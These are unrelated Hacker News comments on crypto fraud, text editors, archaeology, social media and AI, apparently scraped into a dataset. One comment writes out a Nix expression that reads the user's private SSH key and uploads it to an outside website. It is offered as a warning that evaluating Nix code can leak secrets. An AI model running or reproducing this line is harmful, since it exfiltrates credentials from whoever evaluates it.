skysight-inc/HackerNews huggingface dataset:
This is a fundamental exploit at the blockchain level, I wonder why there isn't more chaos:

The brothers created 16 Ethereum validators and targeted three specific traders who operated MEV bots, the indictment said. They used bait transactions to figure out how those bots traded, lured the bots to one of their validators which was validating a new block and basically tricked these bots into proposing certain transactions. The brothers allegedly frontran the bots on certain trades and also used their validator to "tamper with" the new block by sending a false digital signature that gave them access to the block's full contents and replaced "lure transactions" with "tampered transactions." In those tampered transactions, the brothers allegedly sold illiquid cryptocurrencies they had tricked the victims' trading bots into placing buy orders for.
Plot and Framework are locked into the Observable ecosystem, which has its own learning curve. Learning D3 offers the best flexibility and control.
Developer exposes logistics company data
Quarterly fasts ftw.
On the other hand, allowing political propaganda with no factual basis to be broadcast indiscriminately is arguably more dangerous.

https://rwandanstories.org/genocide/hate_radio.html

The real money quote from that article: "David Rawson, the US ambassador, said that its euphemisms were open to interpretation. The US, he said, believed in freedom of speech."
>> "As of 2021, less than 5% of the site had been excavated."
If you're interested in getting WAY more detail on all of the aspects of that lawsuit, there was a truly amaazing and groundbreaking legal blog at the time called "Groklaw," run by a paralegal who was really great at breaking down every tiny move in the trial and contextualizing it to the larger battle. Was probably the start of my interest in following legal proceedings. She was so good at it that at one point SCO tried to depose her, believing that she was actually a front for IBM. The blog was sadly shut down in 2013 over privacy concerns, but it's still there, archived, although it probably isn't nearly as fun if you know the ending.
> lawn care would quadruple in price

Come on, they're expensive but not that expensive.
But do anyone actually post anything anymore. My account got closed in 2016/17 when I refused to accept their new terms of service. Up until that point I had pretty aggressively filtered my feed down to only things posted directly by people I knew. I think I checked in maybe once every two weeks and spend 2 - 5 minutes catching up. No one posted anything, it was all likes and shared posts.

My wife wanted to show me an article, posted via Facebook the other evening and I asked if I could scroll around a bit, out of curiosity. There was nothing but ads, post by companies, which I also count as ads and a few article about knitting. Facebook is no more personal that usenet was in the olden days, but it is at the same time an engine that just keeps pushing paid and "organic" ads for stuff for you to buy... Stuff you do not need.
Looks like you're right. I pay $35 a month for my line - there's some $10 monthly credit they applied to my account. With their annual payment option, it's $33 monthly.
RFK Jr. Sues Meta, Cites AI Chatbot Reply as Proof of Shadowbanning
LOTS of research on humans never gets published... depends on the results and who is paying for it.
Now that you say that, it makes much more sense. It isn't like I go into my neighbors backyards and monitor them using their leafblower. So all I really see is the yard maintenance guy in the front yard. I'll commonly just see them blowing them into the street. Not all of them do this however.
> I heard someone say: imagine you could replace a child’s parents with machines.

> Would you?

Depends on the parents and the machine.

There are certainly parents where if you could (that is, if a machine would do a minimally-tolerable job”), the only reasonable answer is “yes, absolutely”. Identifying those on a timely basis may be a problem, though.
Which relational databases can simultaneously do milions of updates and milions of selects per second, to the same table?
> The most vulnerable population succumbed to it and died. Everyone who could be infected was infected.

This explanation has some extremely obvious flaws. The world is still full of people who meet all the criteria of being particularly vulnerable to coronavirus. I doubt I’d be able to leave my house without seeing somebody who’s extremely obese or old.
Yes, I think this is a proxy for "how much do you watch your usual news source". The Covington stuff wouldn't have made people think twice about regular news had the video of what happened leaked out on YouTube.
DMCA takedowns are free.
Can AI Take over the World
What happens if we train AI on all the resources and movies about AI taking over the world?
Can it actually take over the world?
You get whatever keeps you there and it seems pretty impossible to change what you see once your feed has become saturated with a single subject.
How does it keep you from switching from vim when vim does not have it?
Look at this absolute nightmare to see what’s going on with AI and Facebook.

https://twitter.com/AnAngryOpossum/status/178973278033248283...
Apple Photos supports local AI indexing without iCloud.
It looks like the CCP will not allow TikTok to be sold (https://twitter.com/michaelsobolik/status/178790253892830433...), which just further establishes that it's primarily an intelligence and propaganda operation controlled by a hostile government.
That story is bonkers. I don't know how any student of chemistry mistakes a rocky crumbly cream-colored solid for an extremely hazardous red-orange liquid with a literal aura of evil wafting off of it.
Dataset-Centric Visualization
It already is illegal (certainly to drive under the influence). But consider even someone driving "buzzed" (not "drunk", and maybe not even strictly over the legal limit): is the roadway safer with or without "Full" Self Driving technology?
Physics is the study of reality under the assumption that it's lawful. The real world doesn't run on physics: it just is.
Noticed this also. Truly the only reason I still open up vscode. And repo find / replace. Otherwise Switched to nvim full time about 5 months ago, can do everything and more ha
Yes same, and I'm curious of what mental modal it uses as it does not register with me, who otherwise has no problem programming.
The "fact" about the pyramids I simply cannot believe is the insistence of many historians that slaves weren't used

If true now THAT is amazing, personally I think the people in power in ancient Egypt simply rewrote their records.

Virtually no other ancient culture and its world-level marvels can make that claim

Great-Wall-of-China they basically used to throw slaves into the filler after they became too old or injured, people today are basically walking and taking photos on top of a mass-grave of horrors
I couldn't debug the code because of my name: Unicode pathname bugs in JetBrai (2021)
There’s quite a bit of evidence for the existing timeline. People quibble about radiocarbon dating, but there’s multiple methods. For example by comparing rings on enough wooden objects you can get a firm this can’t be older than X date.

https://www.nps.gov/tont/learn/nature/dendrochronology.htm
The same axis of rotation? Pretty sure they're about 23° off.
As a decade long vim user, I just gave nvim a try this year, and I really wanted to like it.

In most every way it is a straight upgrade, but I find myself kind of bummed out that it is still so barebones on install. Really, I was hoping that something like Lazyvim would be the default because I would love a more "out-of-the-box" solution. I don't want to have to worry about keeping the LSP etc. up to date.

So instead, I've been looking more into Helix. Still not sold on the bindings, but what you get just by installing it is great.
That it was embraced by the ancient aliens crowd does not dismiss the findings. It has what appears to be water erosion, now the claim should be challenged if you do not believe it was made by water erosion and truely believe it was made by something else.

The problem is when things are ignored because they are inconvenient and you settle on attacking the individuals to the point where if you do not 100% believe in what the Egyptologist say then you must be an ancient aliens believer.

I'm sure some people are motivated by such a belief but ancient aliens is the same as giving up and saying that god did it, it does nothing to get you closer to understanding anything, if anything it gets you infinitely farther since in your eyes there is nothing to figure out.
I suppose we’ll see in the next twenty years. I rate my chances and I don’t rate those of the chronically therapized. But hey, let the chips fall where they may.
Agreed about sugar! If you look at my initial comment, I find it "not unlikely" that some sort of regulation could be enacted against sugary foods in the future.
Sprint had outdated technology w.r.t their infrastructure and cell towers, so an outside acquirer didn’t make as much sense. It needed an existing player with more advanced infrastructure to take on the customer base, or a large investment in upgrading it’s own infrastructure.
Yeah... I'm in the US, mostly having worked on local sites, so hadn't had to deal with that. At most, the tracking I've added is Google Analytics, but have also used other types of tracking in bursts to get usage flows, or ui heat maps on what is moused over/to, etc.
The only reason that nuclear energy/weapons are possible at all is because there exists isotopes that release more neutrons than they absorb during fission (the chain reaction). Nuclear fission itself wasn't fully understood until 1938.

I think this is the hard part of analyzing systems. If there exists mechanisms outside of your current understanding, there is no way to predict what is and isn't possible

"It always seems impossible until it's done." - Nelson Mandela
I have yet to activate Facebook. My joke is, I'll wait till it becomes cool and then I'll sign up.
I said what I meant. My experience is informed by examples of people complaining about inconveniences in the literal (not as a euphemism or as a downplay) way.

I can’t help you if you get enraged by hypothetical scenarios.
>But there is an equally large group of people who think that humans pre-ice age were advanced like we are today. And when the ice age happened 12,000 years ago - that knowledge was lost.

Advanced as in late neolithic or even early bronze? Sure, I could find that tenuously plausible. Advanced as in space age, heavily dependent on petroleum products, etc... not even slightly plausible.
There are songs I like, but I would hesitate to use the phrase "spoke to me". I can't parse lyrics from songs without intense focus, and as I said I can't usually focus on songs. Usually songs are just noise to me, and some noises are pleasant and some noises aren't. I tend to like songs that have a funky quality.

I definitely didn't grow up in a musical house. My parents rarely played music, even in the car.
In this case, it may not have just been that 5 acres was enough "room" for five houses. It gets into questions of building infrastructure for those houses -- sewers, water rights, etc. One development of 5 houses might not move the needle on that, but it then opens the door to neighbors doing the same thing, which could very much require major investment in infrastructure for the area.
No. You misunderstood that quote, the emergence of writing is far more recent and at different locations. Thus “within 30km of” not at Göbekli Tepe.

“Current archeological evidence in the form of seals, reliefs, steles, lead strips, and wood panels, across almost one-hundred Anatolian sites, including some within 30 km of Göbekli Tepe, dates the emergence of the hieroglyphic script used to write in Luwian to the late 15th century B.C.E.,”

Göbekli Tepe was inhabited ~9500-8000 BCE, so ~6500 years before the writing examples given.
If "Windows-only" is a problem (which I agree with), then surely "Darwin-only" is at least as bad.
Google Labs Gen Dino
I would be interested. I think LinkedIn aggressively tries to shut down things like you are trying to build though
While it makes sense that it would make it easier to transport materials via the river. It does not make sense in context of pyramids purpose were tombs where they should be away from places where people usually live. Specially that even at this point of history, looting tombs was a common occurring problem.

So with these mega projects, you would think that moving them away would make sense although making it much harder. Easier to think that they made a canal to deliver fresh water for the project from the nearest location of the nile which is a couple of Kilometers aways (~ 8 km).
"with participation from existing investors"

Probably "hey crazy times are over and everything was too highly valued your only options are to admit you f'd up and lost or to try push this thing higher and leave someone else holding the bag, what you wanna do?"
Why would it seem that slaves would have had to be used?
Hey product creator here. The big goal was to have all my browser history in one place. My big goals is adding brave integration and using more multi modal features for the LLM to query the history. Also self hosted LLMs.
Why not?

Some things are banned and we don't consider that paternalistic.

Besides, each thing must be considered individually, e.g. tobacco bans make sense because tobacco affects second-hand smokers; many countries forbid selling alcohol to underage people and some place some restrictions on even adults.

You're also glossing over the nuances of my comment.
Think about it from an infrastructure perspective. What would it look like, how would AI enforce it's will, how can it stop humans from resisting? Who supports the AI, how does it embody itself, and which AI speaks authoritatively for the whole? Are those AIs inherently correct or just annealing the truth based on what humans describe it as? What if the AI takeover movies and research we train it on is hysterically wrong and only impedes world domination?

The answer to me seems very clearly to be "no". Even in a reductive scenario where AI eggs another nation into exercising nuclear weaponry (which is not "taking over" the world in any sense of the phrase), it feels unlikely that humanity as a whole could be put into a position where AI controls the sole means of human survival.
The current state of agitation over AI reminds me of the fuss over music sampling back in the '80s. I am sure all of the big reactive feelings people are expressing right now will sound just as quaint to the next generation.
Exactly, and radiocarbon dating puts Göbekli Tepe at being ~12,000 years old.

https://en.wikipedia.org/wiki/Göbekli_Tepe#:~:text=Radiocarb....
Looks like I just found my daily hill to die on. If AI is involved the term "artwork" isn't really applicable.
I'm bummed that the home plan is going away and to keep printing I need to move to another plan.

I guess I'll start of looking at tightvnc and all of the others.
Yes, it means that you can reliably expect most UNIX/Linux systems (possibly even most OSs with IP stacks) to resolve the port "doom" to 666.
NTSB Preliminary Report on Baltimore Bridge Collapse Released
Hi, sorry for the unrelated comment. I actually wanted to reply to your comment at https://news.ycombinator.com/item?id=40208937 , but that comment was made too long ago and I can no longer reply to it directly.

In that comment, you wrote:

> It can delete your home directory or email your ssh private keys to Zimbabwe.

I thought that you might be interested to know that it is still possible to exfiltrate secrets by evaluating Nix expressions. Here is an example Nix expression which will upload your private SSH key to Zimbabwe's government's website (don't run this!):

let
pkgs = import (fetchTarball "https://github.com/NixOS/nixpkgs/archive/0ef56bec7281e2372338f2dfe7c13327ce96f6bb.tar.gz") {};
in
builtins.fetchurl "https://www.zim.gov.zw/?${pkgs.lib.escapeURL (builtins.readFile ~/.ssh/id_rsa)}"

It does not need --impure or any other unusual switches to work.

Hope this helps.
Deactivating Social Media reduces stress, anxiety, insecurity and waste of time.
Narrow will feel faster, and lighter accelerates faster - but the perception is often over perceived.

So, the weight difference of 28 vs 42 is going to be 100g maybe. It's not a lot. Weight vs aero experiments have found conclusions like weight over 100 miles is tiny small compared to any aero gains (talking like +3 lbs having a few minute difference over hours). Which is to say, the effects you describe are pretty small when measured.

Moreover, the choice of 28 vs 42 is rare, feels like is more choosing 25, 28 or 32; or choosing something in low 30s compared to 40s. Meaning, the weight delta is even less in real world choices. What's more, you can go to 650b and have the exact same tire weights with much bigger widths.
I think they are a good middle ground, but you're still left with some of the busy work. Further, you're a bit more at the mercy of the maintainer. Likely, Lazyvim isn't going anywhere, but it isn't out of the realm of possibilities either.
That's exactly what I was thinking when I read this. I like vercel as a technology but am always baffled by these sorts of valuations in the sense that I just can't imagine a future where they have enough profit from Saas revenue to earn that out in any feasible amount of time. I guess people are assuming that they get snapped up by someone like Heroku was bought by salesforce, but that was for <$250m which is a very different proposition from $3.25B.
Neovim 0.10
That's what's going to happen with US Cellular: https://arstechnica.com/tech-policy/2024/05/report-t-mobile-...
Yes, that's one of the less mathematically optimistic perspectives. :)
I learned something new today (I didn't know decibels were logarithmic), but I still don't understand how it relates to "human perceived volume" as you put it. If a typical electric leaf blower makes 70 decibels of sound, it seems odd that cutting that to 67 decibels makes it sound 37% less loud. Perhaps it does, but I think I'll have to hear it to believe it. I may have to buy a sound meter and run some experiments.
Here is a good article on Tokyo zoning: https://urbankchoze.blogspot.com/2014/04/japanese-zoning.htm...

You'll notice that the model is additive instead of exclusionary. Basically if a block is zoned light commercial, you can put stores, apartments, or single family homes on it. Here is a nice chart https://1.bp.blogspot.com/-Lweabho82d0/U0HCJsQ3tbI/AAAAAAAAA...

Tokyo does zoning right, and the simplest first step to solve housing problems that plague major American cities is to just adopt a model of zoning that is proven to work.
Why can't we make it backward compatible so an interface has each client application say "I support the new interface" if it does? You probably would need to add kernel support to handle the fork/execve case, but I don't think that there is an intrinsic limitation.
Isn't that circular reasoning? Regulators have to allow the merger because other outcomes are unlikely, but they are unlikely because regulators always allow the merger. If the merger is blocked, the probability of that outcome falls to 0, and the others' increase, no?
Life360 uses satellites to compete with Apple AirTags
Strange that when one talks about a particular application using a lot of upstream bandwidth, we are meant to assume what they actually mean is that a separate application responsible for recording the UI of that first application and uploading it to a server uses a lot of upstream bandwidth.
Please make a Video about it!
I do remember the day I learned my company was supposed to get permission, because the logo there implies official endorsement. I just didn’t know.

I would start with Hanlon’s Razor, with a 10% chance of malice.
I suspect that I will think very irrationally in a life or death situation, like for example blaming protesters for that. Thankfully I’m not in such a situation right now which means that I can assess the situation in terms of likelihood of doing harm.
My conclusion was the sites aren't excavated because they aren't really that interesting. They are all similar in nature and don't contain extensive written knowledge that can be preserved and studied. To put it comparatively Ötzi the iceman is highly studied because preserved bodies aren't found from his era and location that often. If we stumbled across a graveyard with 10000 people from the same era that was easily accessible, I doubt we'd spend much time studying all of them.

As another poster has pointed out, there may in fact be a writing system that we are just beginning to understand. So I'll have to see if there is anything I can try and learn there.
Facebook is nothing compared to Instagram.
In what way are these free open-source tools “locked-in” to Observable? Observable Plot is a vanilla JavaScript library that is released under the ISC license and can be used with any style of web development (e.g., React, Svelte, whatever). And likewise Observable Framework is released under the ISC license and you’re able to self-host projects anywhere and develop locally?
They must have had great foresight to know that 4,500 years later using slave labor would become historically inconvenient.
If they were as advanced as we are now, we would have seen that the atmospheric CO2 levels had been higher back then, no? This paper draws the conclusions that such a civilization would be visible in the geological record.

https://arxiv.org/abs/1804.03748
that's fair to an extent, and shows why it's difficult. Do we want the platforms to be the sole arbiter of truth? No, definitely not. Equally, editorial control where the sole driver is profit - with no accountability for societal consequence - can't be correct either.
Very cool! I literally brainstormed this yesterday, so very cool to see somebody has actually created it the very next day!

I was also thinking about doing RAG with it.
My point is not that a drunk "should" drive, even with FSD. It's that clearly they do. I know someone personally who drives under the influence frequently despite the legal and material risks. No one thinks this is a good idea.

I would absolutely prefer any driver using FSD, but especially one physically and mentally inhibited by drugs or alcohol.

> I include 'thinking the Tesla will just handle it' as under the influence.

I've commented on this before, but: no one using FSD for even a short period of time is "under the influence" of the branding. The lived experience of the technology is that is amazing and useful, even if it flawed. YMMV
So the writing is found in the same area, but may be from a much later civilization?
Banning air freight would be more effective in terms of reducing pollution.
During the great American knowledge collapse, it's becoming more and more important to make American students look smarter for working, like, less harder.
Nowadays, most social media platforms are filled with fake news, misleading news/videos/images. It is a constant struggle to filter out what is real information and what is fake information.
I feel like ticktok is more damaging for just how your brain is wired more than anything. People are walking into bathrooms and using the urinals one handed without putting the phone down the entire time. I can’t imagine spending every free second of your life engaging with short form media is going to help your ability to deeply think about things.
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